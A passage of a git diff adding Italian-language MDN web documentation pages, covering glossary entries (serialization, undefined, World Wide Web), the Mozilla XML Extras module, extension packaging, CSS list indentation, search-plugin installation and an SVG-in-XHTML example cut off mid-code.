+</ul>
+
+<h3 id="Conoscenze_generali">Conoscenze generali</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Representational_state_transfer", "REST")}} su Wikipedia</li>
+ <li><a href="https://www.service-architecture.com/articles/web-services/representational_state_transfer_rest.html">Architettura REST</a></li>
+</ul>
diff --git a/files/it/glossary/serialization/index.html b/files/it/glossary/serialization/index.html
new file mode 100644
index 0000000000..f710d23439
--- /dev/null
+++ b/files/it/glossary/serialization/index.html
@@ -0,0 +1,22 @@
+---
+title: Serializzazione
+slug: Glossary/Serialization
+tags:
+  - Glossário
+  - JavaScript
+  - Serializzazione
+translation_of: Glossary/Serialization
+---
+<p>Il processo mediante il quale un oggetto o una struttura di dati viene tradotto in un formato adatto per il trasferimento su una rete, o archiviazione (ad esempio in un buffer di matrice o in un formato di file).</p>
+
+<p>In {{Glossary("JavaScript")}}, ad esempio, puoi serializzare un oggetto su {{Glossary("JSON")}} {{Glossary("string")}} chiamando il {{Glossary("function")}} {{jsxref("JSON.stringify()")}}.</p>
+
+<p>{{Glossary("CSS")}} sono serializzati chiamando la funzione {{domxref("CSSStyleDeclaration.getPropertyValue()")}}.</p>
+
+<h2 id="Per_saperne_di_più">Per saperne di più</h2>
+
+<h3 id="Conoscenza_generale">Conoscenza generale</h3>
+
+<ul>
+ <li><a href="https://en.wikipedia.org/wiki/Serialization">Serialization</a> on Wikipedia</li>
+</ul>
diff --git a/files/it/glossary/undefined/index.html b/files/it/glossary/undefined/index.html
new file mode 100644
index 0000000000..dd33699e99
--- /dev/null
+++ b/files/it/glossary/undefined/index.html
@@ -0,0 +1,12 @@
+---
+title: undefined
+slug: Glossary/undefined
+translation_of: Glossary/undefined
+---
+<p>Un valore <strong>{{Glossary("primitive", "primitivo")}}</strong> assegnato automaticamente alle <strong>variabili</strong> che sono appena state dichiarate o ai<strong> {{Glossary("Argument","parametri")}}</strong> delle funzioni per i quali non è stato passato nessun valore.</p>
+
+<h2 id="Di_più">Di più</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures">Tipi di dati e strutture in JavaSctipt</a></li>
+</ul>
diff --git a/files/it/glossary/world_wide_web/index.html b/files/it/glossary/world_wide_web/index.html
new file mode 100644
index 0000000000..f3e7e4c64a
--- /dev/null
+++ b/files/it/glossary/world_wide_web/index.html
@@ -0,0 +1,42 @@
+---
+title: World Wide Web
+slug: Glossary/World_Wide_Web
+tags:
+  - Glossário
+  - HTTP
+  - Infrastrutture
+  - WWW
+  - World Wide Web
+translation_of: Glossary/World_Wide_Web
+---
+<p>Il <em>World Wide Web </em>— comunemente indicato come <strong>WWW</strong>, <strong>W3</strong>, o il<strong> Web </strong>— è un sistema interconnesso di pagine pubbliche accessibili tramite l'{{Glossary("Internet")}}. Il Web non è la stessa cosa dell'Internet: il Web è una delle tante applicazioni costruite sulla cima dell'Internet.</p>
+
+<p>Tim Berners-Lee propose l'architettura che divenne nota come World Wide Web. Lui ha creato il primo web {{Glossary("Server","server")}}, il primo web {{Glossary("Browser","browser")}}, e la prima pagina web sul suo computer al laboratorio di ricerca del CERN nel 1990. Nel 1991, sempre Tim Berners-Lee, ha annunciato la sua creazione sul newsgroup di alt.hypertext, segnando il momento in cui il Web è stato reso pubblico per la prima volta.</p>
+
+<p>Il sistema che conosciamo al giorno d'oggi come "il Web" consiste in vari componenti fra cui:</p>
+
+<ul>
+ <li>Il protocollo {{Glossary("HTTP")}} che gestisce il trasferimento dati fra un server e un client.</li>
+ <li>Per accedere a un componente del Web, un client fornisce un identificatore universale univoco, chiamato <strong>{{Glossary("URL")}}</strong> (Uniform Resource Location) oppure <strong>{{Glossary("URI")}}</strong> (Uniform Resource Identifier) (formalmente chiamato Universal Document Identifier (UDI)).</li>
+ <li><strong>{{Glossary("HTML")}}</strong> (HyperText Markup Language) che rappresenta il formato più utilizzato per pubblicare documenti sul Web.</li>
+</ul>
+
+<p>Il collegamento o la connessione di risorse utilizzando gli {{Glossary("Hyperlink","hyperlink")}} è un concetto definito dal Web per facilitare la sua visione come una collezione di documenti connessi fra di loro.</p>
+
+<p>Poco dopo aver inventato il Web, Tim Berners-Lee ha fondato il {{Glossary("W3C")}} (World Wide Web Consortium) per standardizzare e sviluppare il Web ulteriormente. Questo consorzio è costituito da gruppi interessati al Web, come sviluppatori di web browser, entità governative, ricercatori e universitari. La missione di tale consorzio consiste nell'educazione e nella sensibilizzazione riguardo lo sviluppo Web.</p>
+
+<h2 id="Vedi_altro" style="line-height: 30px;">Vedi altro</h2>
+
+<h3 id="Informazioni_a_riguardo">Informazioni a riguardo</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/Learn">Sviluppo Web</a></li>
+ <li><a href="https://learning.mozilla.org/web-literacy">Mappa di alfabetizzazione del Web</a> (una skill necessaria nello sviluppo web)</li>
+</ul>
+
+<h3 id="Conoscenza_generale" style="line-height: 24px;">Conoscenza generale</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "World Wide Web su Wikipedia")}} </li>
+ <li><a href="http://w3.org">Il sito del W3C</a></li>
+</ul>
diff --git a/files/it/il_modulo_xml_extras/index.html b/files/it/il_modulo_xml_extras/index.html
new file mode 100644
index 0000000000..3a36298935
--- /dev/null
+++ b/files/it/il_modulo_xml_extras/index.html
@@ -0,0 +1,116 @@
+---
+title: Il modulo XML Extras
+slug: Il_modulo_XML_Extras
+tags:
+  - Tutte_le_categorie
+  - XML
+translation_of: Mozilla/Tech/XML_Extras
+---
+<p> </p>
+<p>Il modulo XML Extras contiene diverse funzionalità che permettono agli sviluppatori di trattare un documento XML come un insieme di dati e non semplicemente come un documento di qualsiasi altro tipo. Il modulo è strutturato come componente incorporato e rende disponibili le sue caratteristiche sia tramite <a href="it/JavaScript">JavaScript</a>, sia tramite C++/<a href="it/XPCOM">XPCOM</a>. Il modulo è compilato per default su tutte le piattaforme ed è incluso ance dagli installer, in modo che sia disponibile anche con le nightly builds.</p>
+<h3 id="Stato_delle_funzionalit.C3.A0" name="Stato_delle_funzionalit.C3.A0">Stato delle funzionalità</h3>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Funzionalità</td>
+   <td class="header">Stato</td>
+  </tr>
+  <tr>
+   <td><a href="it/XMLSerializer">XMLSerializer</a></td>
+   <td>Disponibile</td>
+  </tr>
+  <tr>
+   <td><a href="it/XMLHttpRequest">XMLHttpRequest</a></td>
+   <td>Disponibile</td>
+  </tr>
+  <tr>
+   <td><a href="it/DOMParser">DOMParser</a> (string and stream input source)</td>
+   <td>Disponibile</td>
+  </tr>
+  <tr>
+   <td>Web Services con <a href="it/SOAP_nei_browser_basati_su_Gecko">SOAP</a> e <a href="it/Accessing_Web_Services_in_Mozilla_Using_WSDL_Proxying">WSDL</a></td>
+   <td>Disponibile a partire da 1.4alpha. Spostato nel modulo Web Services a partire da 1.4beta.</td>
+  </tr>
+  <tr>
+   <td>XML Persistence</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>FIXptr e XPointer</td>
+   <td>Disponibile da 1.4alpha nel cuore di Mozilla. Spostato nel modulo XMLExtras a partire da 1.4beta.</td>
+  </tr>
+ </tbody>
+</table>
+<p>Vedere anche:</p>
+<ul>
+ <li>{{ Source("extensions/xml-rpc/", "XML-RPC") }}</li>
+ <li><a href="it/XML_in_Mozilla">XML in Mozilla</a></li>
+ <li><a href="it/XML_in_Mozilla#DOM_Load_and_Save_Methods">document.load()</a></li>
+ <li><a class="external" href="http://kb.mozillazine.org/Category:XML_in_JavaScript">A few examples dealing with XML</a> from MozillaZine Knowledge Base.</li>
+</ul>
+<h3 id="QA_and_Testing" name="QA_and_Testing">QA and Testing</h3>
+<p>There are some <a class="external" href="http://www.mozilla.org/xmlextras/tests.html">online tests</a> for mainly exercising the HTTP GET method via <a href="it/XMLHttpRequest">XMLHttpRequest</a>.</p>
+<p>Other test cases for each of the implemented components listed above exist in {{ Source("extensions/xmlextras/tests/") }}. More exhaustive test suites need to be created, however. If you'd like to help out with QA, you can do one of the following:</p>
+<ul>
+ <li>Sign up as the QA owner for any of the implemented components. The QA owner will manage the tests associated with their component, act as QA contact for related bugs and help with regression testing.</li>
+ <li>Contribute a test suite or individual tests that use the implemented components. File bugs for new test you have, and/or check them into {{ Source("extensions/xmlextras/tests/") }}.</li>
+ <li>File bugs against the implemented components. Bugs should be filed against the XML component in the Browser product.</li>
+</ul>
+<h3 id="Documentation" name="Documentation">Documentation</h3>
+<p>Probably the best way to learn how to use these technologies is through examples. There are some in {{ Source("extensions/xmlextras/tests/") }}. If you follow that link to look at the examples you will need to look at page source for the HTML documents.</p>
+<p>For <a href="it/XMLHttpRequest">XMLHttpRequest</a> object you can mostly rely on the <a class="external" href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/xmlsdk/html/63409298-0516-437d-b5af-68368157eae3.asp">Microsoft XMLHttpRequest documentation</a>, with some caveats: all functions and property names begin with a lower case letter and the object creation is different. Some properties are not implemented.</p>
+<p>Thad Hoffman has written a document that shows how you can mimic <a href="it/Using_XML_Data_Islands_in_Mozilla">XML Data Islands in Mozilla</a>. Edmond Woychowsky has also written articles on XML Data Islands in Mozilla: "<a class="external" href="http://builder.com.com/article.jhtml?id=u00220030515woy01.htm">Make XML data islands work in Mozilla</a>", "<a class="external" href="http://builder.com.com/5100-6371-5085227.html">Build cross-browser XML paging code</a>" and "<a class="external" href="http://builder.com.com/article.jhtml?id=u00320030718woy01.htm">Implement a flexible shopping cart with XML and ASP</a>". The Mozilla Developer Center has several pages for <a href="it/XMLHttpRequest">XMLHttpRequest</a>.</p>
+<p>Below are some key differencies in "XML Extras" between Mozilla and Microsoft software:</p>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Difference</td>
+   <td class="header">Microsoft</td>
+   <td class="header">Mozilla</td>
+  </tr>
+  <tr>
+   <td>Member names</td>
+   <td>Case insensitive?</td>
+   <td>Begins with lower case letter</td>
+  </tr>
+  <tr>
+   <td><a href="it/XMLHttpRequest">XMLHttpRequest</a> Creation</td>
+   <td><code>new ActiveXObject("Msxml2.XMLHTTP")</code></td>
+   <td><code>new XMLHttpRequest()</code></td>
+  </tr>
+  <tr>
+   <td><code>XMLHttpRequest.send("some string")</code></td>
+   <td>ok</td>
+   <td>ok starting with milestone 0.9.7 (actually nightly 2001-11-28). With older builds, passing strings to send() works only in chrome, see {{ Source("extensions/xmlextras/tests/post.html", "post.html") }} sample. The "workaround" is to use DOMParser object's <code>parseFromString()</code> method to create a document from string, and pass the temporary document into <code>send()</code>.</td>
+  </tr>
+  <tr>
+   <td><code>XMLHttpRequest.open("aHost")</code></td>
+   <td>ok</td>
+   <td>&lt;tt&gt;<a class="external" rel="freelink">file://</a>&lt;/tt&gt; documents can access &lt;tt&gt;<a class="external" href="http://" rel="freelink">http://</a>&lt;/tt&gt; documents but you need to enable <code>UniversalBrowserRead</code> privilege in your scripts - see the <a class="external" href="http://www.mozilla.org/projects/security/components/signed-scripts.html#privs">JavaScript Security: Signed Scripts</a> document for more details. Normally your files should reside on a webserver so this shouldn't pose a problem (there you do not need that line either). Additionally, "foo.com:80" and "foo.com:313" are considered different hosts for security purposes. You cannot open a connection to a different host.</td>
+  </tr>
+  <tr>
+   <td><a href="it/DOMParser">DOMParser</a> Creation</td>
+   <td>not available</td>
+   <td><code>new DOMParser()</code></td>
+  </tr>
+  <tr>
+   <td><a href="it/XMLSerializer">XMLSerializer</a> Creation</td>
+   <td>not available</td>
+   <td><code>new XMLSerializer()</code></td>
+  </tr>
+ </tbody>
+</table>
+<p>Minimal documentation for the components listed above can be found using Mozilla documentation generated by <a class="external" href="http://www.doxygen.org/">Doxygen</a>. File new bugs for additional documentation contributions, either specifically aimed at JavaScript developers or to complete &amp; clarify the JavaDoc-style comments in the IDL files.</p>
+<ul>
+ <li>nsIDOMSerializer (Currently, the JavaScript constructor is <code>XMLSerializer()</code>)</li>
+ <li>nsIDOMParser (Currently, the JavaScript constructor is <code>DOMParser()</code>)</li>
+ <li>nsIXMLHttpRequest</li>
+</ul>
+<p>Please see the <a href="it/XML_in_Mozilla#XML_Linking_and_Pointing">XML Linking and Pointing</a> section in <a href="it/XML_in_Mozilla">XML in Mozilla</a> document for FIXptr and XPointer documentation.</p>
+<h3 id="How_can_I_help.3F" name="How_can_I_help.3F">How can I help?</h3>
+<ul>
+ <li>Help with <a href="it/XML_in_Mozilla#Testing_and_QA">testing</a> the components contained within the module.</li>
+ <li>Contribute {{ Anch("Documentation") }} to the module.</li>
+ <li>Help at the code level, contributing code patches for bug fixes or feature completion.</li>
+</ul>
+<p>{{ languages( { "fr": "fr/XML_Extras" } ) }}</p>
diff --git a/files/it/impacchettare_l'estensione/index.html b/files/it/impacchettare_l'estensione/index.html
new file mode 100644
index 0000000000..4646e4365c
--- /dev/null
+++ b/files/it/impacchettare_l'estensione/index.html
@@ -0,0 +1,29 @@
+---
+title: Impacchettare l'Estensione
+slug: Impacchettare_l'Estensione
+tags:
+  - Estensioni
+  - Toolkit API
+  - Tutte_le_categorie
+translation_of: Archive/Add-ons/Extension_Packaging
+---
+<p>Le estensioni sono una forma di <a href="/it/docs/Pacchetti">pacchetti installabili</a> che possono essere scaricati e installati dall'utente, o forniti pre-impacchettati insieme all'applicazione o ad un programma esterno. Le estensioni utilizzano una <a href="/it/docs/Pacchetti">struttura della directory</a> che può essere fornita di chrome, componenti, ed altri file per estendere le funzionalità di un programma XUL.</p>
+<p>Ogni estensione deve essere fornita di un file <a href="/it/docs/Install.rdf">install.rdf</a> che contiene i metadati sull'estensione, come le informazioni sul suo ID univoco, sulla versione, sull'autore e sulla compatibilità.</p>
+<p>Dopo che i file dell'estensione e install.rdf sono pronti, ci sono molti modi di preparare l'estensione per l'installazione: comprimere il contenuto della directory dell'estensione in un file <a href="/it/docs/XPI">XPI</a> installabile dall'utente, decomprimere direttamente l'estensione nell'applicazione o nella cartella del profilo dell'utente, o registrarla nel registro di Windows.</p>
+<h2 id="Realizzare_un_XPI_di_un.27estensione" name="Realizzare_un_XPI_di_un.27estensione">Realizzare un XPI di un'estensione</h2>
+<p>Un file <a href="/it/docs/XPI">XPI</a> (XPInstall) è semplicemente un file (ZIP) compresso che contiene i file dell'estensione, ed il file <a href="/it/docs/Install.rdf">install.rdf</a> nella root dell'archivio. Gli utenti possono scaricare i file XPI ed installarli sia da un sito web che da un file in locale, aprendo il file o trascinandolo nella finestra delle Estensioni.</p>
+<p>Il tipo MIME riconosciuto da Firefox per i file XPI è <i>application/x-xpinstall</i>. Poichè molti server non sono normalmente configurati per restituire questi tipo MIME per l'estensione .xpi, sarà probablimente necessario configurare il proprio server. Nei server Apache HTTP, questa operazione può essere effettuata aggiungendo la seguente istruzione al file di configurazione o .htaccess:</p>
+
+<pre>AddType application/x-xpinstall .xpi
+</pre>
+
+<h2 id="Installare_i_file_dell.27estensione_direttamente" name="Installare_i_file_dell.27estensione_direttamente">Installare i file dell'estensione direttamente</h2>
+<p>Se si conosce l'ubicazione dell'applicazione (se si sta installando l'estensione come parte dell'installer dell'applicazione, ad esempio) è possibile installare i file dell'estensione direttamente in &lt;appdir&gt;/extensions/&lt;extensionID&gt;. L'estensione sarà trovata automaticamente dal programma di gestione delle estensioni al successivo riavvio dell'applicazione.</p>
+<p>Quando si usa questo metodo, bisogna verificare che i permessi del file system per le directory ed i file sia settati opportunamente. In caso contrario il programma di gestione delle estensioni potrebbe non funzionare correttamente con l'estensione, o l'estensione stessa potrebbe non funzionare a dovere.</p>
+<h2 id="Registrare_l.27ubicazione_di_un.27estensione_utilizzando_il_Registro_di_Windows" name="Registrare_l.27ubicazione_di_un.27estensione_utilizzando_il_Registro_di_Windows">Registrare l'ubicazione di un'estensione utilizzando il Registro di Windows</h2>
+<p>I programmi di installazione esterni (come Java runtime) potrebbero volere installare punti di integrazione dell'applicazione così come dell'estensione anche se l'applicazione non è ancora installata. Questo su Windows può essere fatto <a href="/it/docs/Aggiungere_estensioni_utilizzando_il_Registro_di_Windows">utilizzando il Registro</a>.</p>
+<h2 id="XPI_di_estensioni_contenenti_pi.C3.B9_elementi" name="XPI_di_estensioni_contenenti_pi.C3.B9_elementi">XPI di estensioni contenenti più elementi</h2>
+<p>In alcuni casi un singolo file XPI potrebbe voler installare più estensioni/temi. Un tipo speciale di XPI di estensioni chiamata <a href="/it/docs/Impacchettare_pi%c3%b9_elementi">Pacchetto multi-elementi</a> spiega come creare questo tipo di pacchetti. (è richiesto Firefox 1.5/XULRunner 1.8.)</p>
+
+<h2 id="Official_References_for_Toolkit_API" name="Official_References_for_Toolkit_API">Official References for <a href="/it/docs/Toolkit_API">Toolkit API</a></h2>
+<div>{{page("/it/docs/Toolkit_API/Official_References")}}</div>
diff --git a/files/it/incorporare_mozilla/index.html b/files/it/incorporare_mozilla/index.html
new file mode 100644
index 0000000000..886b462dc7
--- /dev/null
+++ b/files/it/incorporare_mozilla/index.html
@@ -0,0 +1,7 @@
+---
+title: Incorporare Mozilla
+slug: Incorporare_Mozilla
+translation_of: Mozilla/Gecko/Embedding_Mozilla
+---
+<div dir="ltr" id="result_box">
+ Gecko consente agli sviluppatori di terze parti di utilizzare la stessa tecnologia come si trova in Mozilla. Ciò significa che è possibile incorporare un browser web all'interno di una applicazione di terze parti, aprire canali e flussi attraverso la rete di back-end, attraverso il <a class="external" href="/it/DOM" title="https://developer.mozilla.org/it/DOM">DOM</a>, e così via. Si può anche costruire insieme nuove applicazioni che utilizzano Chrome.</div>
diff --git a/files/it/indentazione_corretta_delle_liste/index.html b/files/it/indentazione_corretta_delle_liste/index.html
new file mode 100644
index 0000000000..0825377b03
--- /dev/null
+++ b/files/it/indentazione_corretta_delle_liste/index.html
@@ -0,0 +1,106 @@
+---
+title: Indentazione corretta delle liste
+slug: Indentazione_corretta_delle_liste
+tags:
+  - CSS
+  - Tutte_le_categorie
+translation_of: Web/CSS/CSS_Lists_and_Counters/Consistent_list_indentation
+---
+<p> </p>
+
+<p><span class="comment">Summary: Trying to change the indentation of lists with CSS is trickier than it looks, but only because CSS-conformant browsers took different paths to default indentation. Find out how to get them all in line.</span></p>
+
+<p>Una delle più frequenti modifiche allo stile delle liste, è la distanza di indentazione, cioè la distanza alla quale i vari punti sono spostati rispetto al bordo. Questa modifica è spesso causa di frustrazione, perchè ciò che funziona in un browser spesso non ha lo stesso effetto in un altro. Per esempio se si dichiarano liste senza margine sinistro, in Explorer si osserva uno spostamento, mentre nei browser basati su Gecko nessuno.</p>
+
+<p>Per compredere questo fenomeno, e sorpattutto come evitare il problema, è necessario esaminare in dettaglio come sono costruite le liste.</p>
+
+<h3 id="Costruire_una_lista" name="Costruire_una_lista">Costruire una lista</h3>
+
+<p>Prima di tutto, si consideri un singolo elemento di una lista, senza marcatore (tipicamente il "puntino" che lo precede), che non è ancora parte della lista stessa. Fluttua da solo nel vuoto, senza nessun attributo, come mostrato in Figura 1.</p>
+
+<p><img alt="Figure 1"></p>
+
+<p>Il bordo punteggiato rosso rappresenta i limiti esterni dell'area dei contenuti dell'elemento della lista. Si ricordi che, in questo momento, l'elemento della lista non ha ne' bordi ne' rientri (padding). Se si aggiungono due altri elementi alla lista, si ottiene il risultato di Figura 2. add two more list items, we get a result like that shown in Figure 2.</p>
+
+<p><img alt="Figure 2"></p>
+
+<p>Adesso inseriamo questi elementi nell'elemento padre; per questo esempiop useremo una lista non ordinata (cioè <code>&lt;ul&gt;</code>). Secondo il modello a scatole dei CSS (CSS box model), l'area occupata da ciascun elemento della lista, deve essere visualizzata all'interno dell'area dei contenuti dell'elemento padre. E poichè l'elemento padre non ha ancora ne' bordi ne' rientri, si ottiene il risultato di Figura 3.</p>
+
+<p><img alt="Figure 3"></p>
+
+<p>Il bordo punteggiato blu mostra i bordi dell'area dei contenuti dell'elemento <code>&lt;ul&gt;</code>, che non avendo rientri finisce per avvolgere i tre elementi della lista senza lasciare spazi.</p>
+
+<p>Adesso aggiungiamo i marcatori degli elementi, che nel caso di una lista non ordinata sono tipicamente dei "puntini" circolari, come mostrato in Figura 4.</p>
+
+<p><img alt="Figure 4"></p>
+
+<p>Visivamente i marcatori sono all'esterno dell'area dei contenuti di <code>&lt;ul&gt;</code>, ma questo non è molto importante. Il punto chiave è che i marcatori sono all'esterno del riquadro principale degli elementi <code>&lt;li&gt;</code>, non di <code>&lt;ul&gt;</code>. Sono da considerare una sorta di appendici agli elementi della lista, appese all'esterno dell'area degli elementi <code>&lt;li&gt;</code>, ma ad essi collegate.</p>
+
+<p>Questa è la ragione per cui, in ogni browser eccetto Internet Explorer, i marcatori sono posizionati all'esterno del bordo eventualmente impostato per gli elementi <code>&lt;li&gt;</code>. Si assume che il valore di <code>list-style-position</code> sia <code>outside</code>, perchè se viene cambiato in <code>inside</code>, i marcatori sono spostati all'interno dei riquadri degli elementi <code>&lt;li&gt;</code>, proprio come se fossero la primissima parte del loro contenuto.</p>
+
+<h3 id="Indentare_due_volte" name="Indentare_due_volte">Indentare due volte</h3>
+
+<p>Quindi come appare tutto ciò in un documento? Al momento, si ha una situazione analoga a questi stili:</p>
+
+<pre>ul, li {margin-left: 0; padding-left: 0;}</pre>
+
+<p>Se avessimo messo questa lista così come è, in un documento, non ci sarebbe stato nessuna apparente indentazione ed i marcatori sarebbero probabilmente finiti all'esterno del bordo sinistro del browser. Per evitare tutto ciò ed avere l'indentazione, ci sono solamente tre opzioni disponibili per gli sviluppatori.</p>
+
+<ol>
+ <li>Dare a ciascun elemento <code>&lt;li&gt;</code> un margine sinistro.</li>
+ <li>Dare all'elemento <code>&lt;ul&gt;</code> un margine sinistro.</li>
+ <li>Dare all'elemento <code>&lt;ul&gt;</code> un rientro (padding) sinistro.</li>
+</ol>
+
+<p>Di fatto nessuno sembra aver usato la prima opzione. La seconda opzione è stata utilizzata da Internet Explorer e da Opera. La terza è stata adottata da Gecko e da tutti i browser basati su tale motore.</p>
+
+<p>Concentriamoci sulle due opzioni usate. In Internet Explorer e Opera, le liste sono indentate imponendo un margine sinistro di 40 pixel sull'elemento <code>&lt;ul&gt;</code>. Se si applica un colore di sfondo a <code>&lt;ul&gt;</code> lasciando inalterati i bordi, si ottiene il risultato di Figura 5.</p>
+
+<p><img alt="Figure 5"></p>
+
+<p>Gecko da parte sua impone un rientro (padding) di 40 pixel per l'elemento <code>&lt;ul&gt;</code>, per cui visualizzando la lista con lo stesso identico stile usato per la precedente figura, si ottiene il risultato di Figura 6.</p>
+
+<p><img alt="Figure 6"></p>
+
+<p>Come è possibile notare, i marcatori rimangono attaccati agli elementi <code>&lt;li&gt;</code>, ovunque essi siano. La differenza è interamente nello stile di <code>&lt;ul&gt;</code>, per cui è possibile notare le differenze solo con un colore di sfondo per <code>&lt;ul&gt;</code>.</p>
+
+<h3 id="Trovare_la_consistenza" name="Trovare_la_consistenza">Trovare la consistenza</h3>
+
+<p>Tirando le fila di quanto detto: se si desidera una visualizzazione omogenea e consistente delle liste su Gecko, Internet Explore e Opera, occorre impostare a <strong>entrambi</strong> i margini ed i rientri sinistri degli elementi <code>&lt;ul&gt;</code>. Possiamo invece ignorare gli elementi <code>&lt;li&gt;</code>. Se si desidera riprodurre la visualizzazione di default in Netscape 6.x, occorre scrivere:</p>
+
+<pre>ul {margin-left: 0; padding-left: 40px;}</pre>
+
+<p>Se invece siamo interessati a seguire ilmodello di Explorer/Opera:</p>
+
+<pre>ul {margin-left: 40px; padding-left: 0;}</pre>
+
+<p>Ovviamente, è possibile modifcare i valori utilizzati secondo le proprie necessità, anche in unità di misura diverse dal pixel, come <code>1.25em</code>. Se invece si desidera non avere nessuna indentazione, occorre impostare a zero margine e rientro:</p>
+
+<pre>ul {margin-left: 0; padding-left: 0;}</pre>
+
+<p>Si ricordi comunque, che facendo così si hanno i "puntini" appesi all'esterno della lista e del relativo elemento padre, per cui se l'elemento padre è il <code>body</code>, è molto probabile che i "puntini" finiscano all'esterno della finestra del browser, quindi non visibili.</p>
+
+<h3 id="Conclusione" name="Conclusione">Conclusione</h3>
+
+<p>In conclusione, nessuno dei browser mezionati in questo articolo fa la cosa giusta o quella sbagliata su come disegnano le liste. Utilizzano stili differenti, ed è questo che crea problemi. Tuttavia assicurandosi di impostare sia margine che rientro sinistro delle liste, si ottiene un risultato di indentazione delle liste quanto più possibile omogeneo tra i vari browser.</p>
+
+<h3 id="Raccomandazioni" name="Raccomandazioni">Raccomandazioni</h3>
+
+<ul>
+ <li>Quando si altera l'indentazione delle liste, assicurarsi di impostare sia margine che rientro (padding)</li>
+</ul>
+
+<p> </p>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+
+<ul>
+ <li>Author(s): Eric A. Meyer, Netscape Communications</li>
+ <li>Last Updated Date: Published 30 Aug 2002</li>
+ <li>Copyright Information: Copyright © 2001-2003 Netscape. All rights reserved.</li>
+ <li>Note: This reprinted article was originally part of the DevEdge site.</li>
+</ul>
+</div>
+
+<p>{{ languages( { "fr": "fr/Indentation_homog\u00e8ne_des_listes" } ) }}</p>
diff --git a/files/it/installare_plugin_di_ricerca_dalle_pagine_web/index.html b/files/it/installare_plugin_di_ricerca_dalle_pagine_web/index.html
new file mode 100644
index 0000000000..7ccde7c991
--- /dev/null
+++ b/files/it/installare_plugin_di_ricerca_dalle_pagine_web/index.html
@@ -0,0 +1,33 @@
+---
+title: Installare plugin di ricerca dalle pagine web
+slug: Installare_plugin_di_ricerca_dalle_pagine_web
+tags:
+  - Plugin_di_ricerca
+translation_of: Web/OpenSearch
+---
+<p>Firefox permette di installare dei plugin di ricerca tramite JavaScript e supporta tre formati per questi plugin: MozSearch, OpenSearch e Sherlock.
+</p><p>Quando il codice JavaScript tenta di installare un plugin, Firefox propone un messaggio di allerta che chiede all'utente il permesso di installare il plugin.
+</p>
+<h2 id="Installare_plugin_in_MozSearch_o_OpenSearch">Installare plugin in MozSearch o OpenSearch</h2>
+<p>Per installare plugin in MozSearch o OpenSearch, occorre il metodo <a href="it/DOM">DOM</a> <code>window.external.AddSearchProvider()</code>. La sintassi è la seguente:
+</p>
+<pre class="eval">window.external.AddSearchProvider(<i>URL_del_plugin</i>);
+</pre>
+<p><i>URL_del_plugin</i> è l'URL del file XML o del plugin.
+</p>
+<div class="note"><b>Nota:</b> il supporto per MozSearch e OpenSearch è disponibile solo in <a href="it/Firefox_2">Firefox 2</a> e successivi.</div>
+<p>Per ulteriori dettagli su MozSearch, vedi <a href="it/Creating_MozSearch_plugins">Creating MozSearch plugins</a>.
+</p>
+<h2 id="Installare_plugin_in_Sherlock">Installare plugin in Sherlock</h2>
+<p>Per installare un plugin in Sherlock, occorre chiamare <code>window.sidebar.addSearchEngine()</code>, la cui sintassi è la seguente:
+</p>
+<pre class="eval">window.sidebar.addSearchEngine(<i>URL_del_plugin</i>, <i>icona_del_plugin</i>, <i>nome_suggerito</i>, <i>categoria_suggerita</i>);
+</pre>
+<ul><li> Il parametro <code>URL_del_plugin</code> è l'URL del plugin da installare (un file ".src").
+</li><li> <code>iconURL</code> is the URL to an icon to associate with the plugin.
+</li><li> Il parametro <code>nome_suggerito</code> viene utilizzato solo quando il browser chiede all'utente il permesso di installare il plugin, con un messaggio del tipo "Si desidera installare <b>nome_suggerito</b> da <b>URL_del_plugin</b>?".
+</li><li> Il parametro <code>suggestedCategory</code> non viene usato. Si dovrebbe inserire una stringa vuota (<code>""</code>) o <code>null</code>.
+</li></ul>
+<p>Per ulteriori informazioni su Sherlock:
+<a class=" external" href="http://developer.apple.com/macosx/sherlock/">http://developer.apple.com/macosx/sherlock/</a>
+</p>{{ languages( { "en": "en/Adding_search_engines_from_web_pages", "ja": "ja/Adding_search_engines_from_web_pages" } ) }}
diff --git a/files/it/introduzione_a_svg_dentro_xhtml/index.html b/files/it/introduzione_a_svg_dentro_xhtml/index.html
new file mode 100644
index 0000000000..b277a2fc86
--- /dev/null
+++ b/files/it/introduzione_a_svg_dentro_xhtml/index.html
@@ -0,0 +1,50 @@
+---
+title: Introduzione a SVG dentro XHTML
+slug: Introduzione_a_SVG_dentro_XHTML
+translation_of: Web/SVG/Applying_SVG_effects_to_HTML_content
+---
+<p> </p>
+<h3 id="Panoramica" name="Panoramica">Panoramica</h3>
+<p>Questo articolo e l'esempio allegato mostrano come utilizzare <a href="it/SVG">SVG</a> per inserire un'immagine di sfondo in un form. Mostra come <a href="it/JavaScript">JavaScript</a> e i <a href="it/CSS">CSS</a> possano essere utilizzati per manipolare l'immagine allo stesso modo in cui manipolano un normale elemento <a href="it/XHTML">XHTML</a>. Si noti che l'esempio funziona sui browser che supportano XHTML (non solo <a href="it/HTML">HTML</a>) e l'integrazione di SVG.</p>
+<p>Ecco il codice dell' <a class="external" href="http://developer.mozilla.org/presentations/xtech2005/svg-canvas/SVGDemo.xml">esempio</a>:</p>
+<pre>&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
+&lt;head&gt;
+  &lt;title&gt;XTech SVG Demo&lt;/title&gt;
+  &lt;style&gt;
+    stop.begin { stop-color:yellow; }
+    stop.end { stop-color:green; }
+    body.invalid stop.end { stop-color:red; }
+    #err { display:none; }
+    body.invalid #err { display:inline; }
+  &lt;/style&gt;
+  &lt;script&gt;
+    function signalError() {
+      document.getElementById('body').setAttribute("class", "invalid");
+    }
+  &lt;/script&gt;
+&lt;/head&gt;
+&lt;body id="body"
+   style="position:absolute; z-index:0; border:1px solid black; left:5%; top:5%; width:90%; height:90%;"&gt;
+  &lt;form&gt;
+     &lt;fieldset&gt;
+       &lt;legend&gt;HTML Form&lt;/legend&gt;
+       &lt;p&gt;&lt;label&gt;Enter something:&lt;/label&gt;
+          &lt;input type="text"/&gt;
